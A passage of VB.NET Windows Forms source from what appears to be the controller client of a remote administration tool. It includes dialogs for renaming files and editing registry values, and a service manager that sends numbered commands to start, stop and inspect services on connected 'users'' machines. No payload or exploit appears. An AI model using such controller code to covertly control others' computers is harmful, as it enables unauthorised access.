System.Windows.Forms.FormBorderStyle.FixedSingle 84 | Me.Name = "FilemanagerRenameFile" 85 | Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent 86 | Me.Text = "Rename File" 87 | Me.TopMost = True 88 | Me.ResumeLayout(False) 89 | Me.PerformLayout() 90 | 91 | End Sub 92 | Friend WithEvents Label1 As System.Windows.Forms.Label 93 | Friend WithEvents ButtonRenameFile As System.Windows.Forms.Button 94 | Friend WithEvents ButtonCancel As System.Windows.Forms.Button 95 | Friend WithEvents TextBoxRenameFile As System.Windows.Forms.TextBox 96 | End Class 97 | -------------------------------------------------------------------------------- /Client/Client/Client/Servicemanager.vb: -------------------------------------------------------------------------------- 1 | Public Class Servicemanager 2 | 3 | Private Sub ButtonRefreshServices_Click(sender As Object, e As EventArgs) Handles ButtonRefreshServices.Click 4 | Settings.AddLog("Pending", Settings.State.Pending, "Refreshing servicelist...") 5 | ListViewServices.Items.Clear() 6 | If Main.ListViewMain.Items.Count > 0 Then 7 | If Main.ListViewMain.SelectedItems.Count <> 0 Then _ 8 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text 9 | Else 10 | MsgBox("No Users online.", MsgBoxStyle.Exclamation) 11 | End If 12 | Try 13 | Main.WriteCommand(Main.SelectedUserID & "|9") 14 | Waiting.ShowDialog() 15 | Catch x As Exception 16 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Servicemanager") 17 | End Try 18 | End Sub 19 | 20 | 21 | Public Sub SplitData(ByVal Data As String) 22 | Dim lines() = Data.Split({";;;"}, StringSplitOptions.None) 23 | For Each line In lines 24 | Dim parts() = line.Split({"|||"}, StringSplitOptions.None) 25 | Dim item = ListViewServices.Items.Add(parts(0)) 26 | For i = 1 To Math.Min(parts.Length - 1, 3) 27 | item.SubItems.Add(parts(i)) 28 | 29 | If i = 2 Then 30 | Select Case item.SubItems(2).Text 31 | Case "Running" 32 | item.ImageIndex = 0 33 | Case "Stopped" 34 | item.ImageIndex = 1 35 | Case "Unknown" 36 | item.ImageIndex = 2 37 | End Select 38 | End If 39 | Next 40 | Next 41 | 42 | For Each item As ListViewItem In ListViewServices.Items 43 | If (String.IsNullOrWhiteSpace(item.Text) Or String.IsNullOrEmpty(item.Text)) Then 44 | item.Remove() 45 | End If 46 | Next 47 | End Sub 48 | 49 | Private Sub Servicemanager_FormClosing(sender As Object, e As FormClosingEventArgs) Handles MyBase.FormClosing 50 | ListViewServices.Items.Clear() 51 | End Sub 52 | 53 | Private Sub StartServiceToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles StartServiceToolStripMenuItem.Click 54 | If Main.ListViewMain.Items.Count > 0 Then 55 | If Me.ListViewServices.SelectedItems.Count > 0 Then 56 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text 57 | Try 58 | Main.WriteData(ListViewServices.SelectedItems(0).Text) 59 | Main.WriteCommand(Main.SelectedUserID & "|10") 60 | Waiting.ShowDialog() 61 | Catch x As Exception 62 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Servicemanager") 63 | End Try 64 | End If 65 | Else 66 | MsgBox("Select a service to start.", MsgBoxStyle.Exclamation) 67 | End If 68 | End Sub 69 | 70 | Private Sub StopServiceToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles StopServiceToolStripMenuItem.Click 71 | If Main.ListViewMain.Items.Count > 0 Then 72 | If Me.ListViewServices.SelectedItems.Count > 0 Then 73 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text 74 | Try 75 | Main.WriteData(ListViewServices.SelectedItems(0).Text) 76 | Main.WriteCommand(Main.SelectedUserID & "|11") 77 | Waiting.ShowDialog() 78 | Catch x As Exception 79 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Servicemanager") 80 | End Try 81 | End If 82 | Else 83 | MsgBox("Select a service to stop.", MsgBoxStyle.Exclamation) 84 | End If 85 | End Sub 86 | 87 | Private Sub GetServicepathToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles GetServicepathToolStripMenuItem.Click 88 | If Main.ListViewMain.Items.Count > 0 Then 89 | If Me.ListViewServices.SelectedItems.Count > 0 Then 90 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text 91 | Try 92 | Main.WriteData(ListViewServices.SelectedItems(0).Text) 93 | Main.WriteCommand(Main.SelectedUserID & "|12") 94 | Waiting.ShowDialog() 95 | Catch x As Exception 96 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Servicemanager") 97 | End Try 98 | End If 99 | Else 100 | MsgBox("Select a service to grab the path from.", MsgBoxStyle.Exclamation) 101 | End If 102 | End Sub 103 | End Class -------------------------------------------------------------------------------- /Client/Client/Client/RegistrymanagerModifyValue.Designer.vb: -------------------------------------------------------------------------------- 1 | _ 2 | Partial Class RegistrymanagerModifyValue 3 | Inherits System.Windows.Forms.Form 4 | 5 | 'Form overrides dispose to clean up the component list. 6 | _ 7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean) 8 | Try 9 | If disposing AndAlso components IsNot Nothing Then 10 | components.Dispose() 11 | End If 12 | Finally 13 | MyBase.Dispose(disposing) 14 | End Try 15 | End Sub 16 | 17 | 'Required by the Windows Form Designer 18 | Private components As System.ComponentModel.IContainer 19 | 20 | 'NOTE: The following procedure is required by the Windows Form Designer 21 | 'It can be modified using the Windows Form Designer. 22 | 'Do not modify it using the code editor. 23 | _ 24 | Private Sub InitializeComponent() 25 | Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(RegistrymanagerModifyValue)) 26 | Me.TextBoxRegistryvaluename = New System.Windows.Forms.TextBox() 27 | Me.TextBoxRegistryvaluedata = New System.Windows.Forms.TextBox() 28 | Me.Label1 = New System.Windows.Forms.Label() 29 | Me.Label2 = New System.Windows.Forms.Label() 30 | Me.ButtonModify = New System.Windows.Forms.Button() 31 | Me.SuspendLayout() 32 | ' 33 | 'TextBoxRegistryvaluename 34 | ' 35 | Me.TextBoxRegistryvaluename.Location = New System.Drawing.Point(23, 34) 36 | Me.TextBoxRegistryvaluename.Name = "TextBoxRegistryvaluename" 37 | Me.TextBoxRegistryvaluename.ReadOnly = True 38 | Me.TextBoxRegistryvaluename.Size = New System.Drawing.Size(222, 20) 39 | Me.TextBoxRegistryvaluename.TabIndex = 0 40 | ' 41 | 'TextBoxRegistryvaluedata 42 | ' 43 | Me.TextBoxRegistryvaluedata.Location = New System.Drawing.Point(23, 82) 44 | Me.TextBoxRegistryvaluedata.Name = "TextBoxRegistryvaluedata" 45 | Me.TextBoxRegistryvaluedata.Size = New System.Drawing.Size(222, 20) 46 | Me.TextBoxRegistryvaluedata.TabIndex = 1 47 | ' 48 | 'Label1 49 | ' 50 | Me.Label1.AutoSize = True 51 | Me.Label1.Location = New System.Drawing.Point(20, 18) 52 | Me.Label1.Name = "Label1" 53 | Me.Label1.Size = New System.Drawing.Size(103, 13) 54 | Me.Label1.TabIndex = 2 55 | Me.Label1.Text = "Registryvalue name:" 56 | ' 57 | 'Label2 58 | ' 59 | Me.Label2.AutoSize = True 60 | Me.Label2.Location = New System.Drawing.Point(20, 66) 61 | Me.Label2.Name = "Label2" 62 | Me.Label2.Size = New System.Drawing.Size(98, 13) 63 | Me.Label2.TabIndex = 3 64 | Me.Label2.Text = "Registryvalue data:" 65 | ' 66 | 'ButtonModify 67 | ' 68 | Me.ButtonModify.Image = CType(resources.GetObject("ButtonModify.Image"), System.Drawing.Image) 69 | Me.ButtonModify.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft 70 | Me.ButtonModify.Location = New System.Drawing.Point(75, 114) 71 | Me.ButtonModify.Name = "ButtonModify" 72 | Me.ButtonModify.Size = New System.Drawing.Size(112, 23) 73 | Me.ButtonModify.TabIndex = 4 74 | Me.ButtonModify.Text = "Modify Value" 75 | Me.ButtonModify.UseVisualStyleBackColor = True 76 | ' 77 | 'RegistrymanagerModifyValue 78 | ' 79 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) 80 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font 81 | Me.ClientSize = New System.Drawing.Size(268, 151) 82 | Me.Controls.Add(Me.ButtonModify) 83 | Me.Controls.Add(Me.Label2) 84 | Me.Controls.Add(Me.Label1) 85 | Me.Controls.Add(Me.TextBoxRegistryvaluedata) 86 | Me.Controls.Add(Me.TextBoxRegistryvaluename) 87 | Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle 88 | Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon) 89 | Me.MaximizeBox = False 90 | Me.MinimizeBox = False 91 | Me.Name = "RegistrymanagerModifyValue" 92 | Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent 93 | Me.Text = "Modify Registryvalue" 94 | Me.TopMost = True 95 | Me.ResumeLayout(False) 96 | Me.PerformLayout() 97 | 98 | End Sub 99 | Friend WithEvents TextBoxRegistryvaluename As System.Windows.Forms.TextBox 100 | Friend WithEvents TextBoxRegistryvaluedata As System.Windows.Forms.TextBox 101 | Friend WithEvents Label1 As System.Windows.Forms.Label 102 | Friend WithEvents Label2 As System.Windows.Forms.Label 103 | Friend WithEvents ButtonModify As System.Windows.Forms.Button 104 | End Class 105 | --------------------------------------------------------------------------------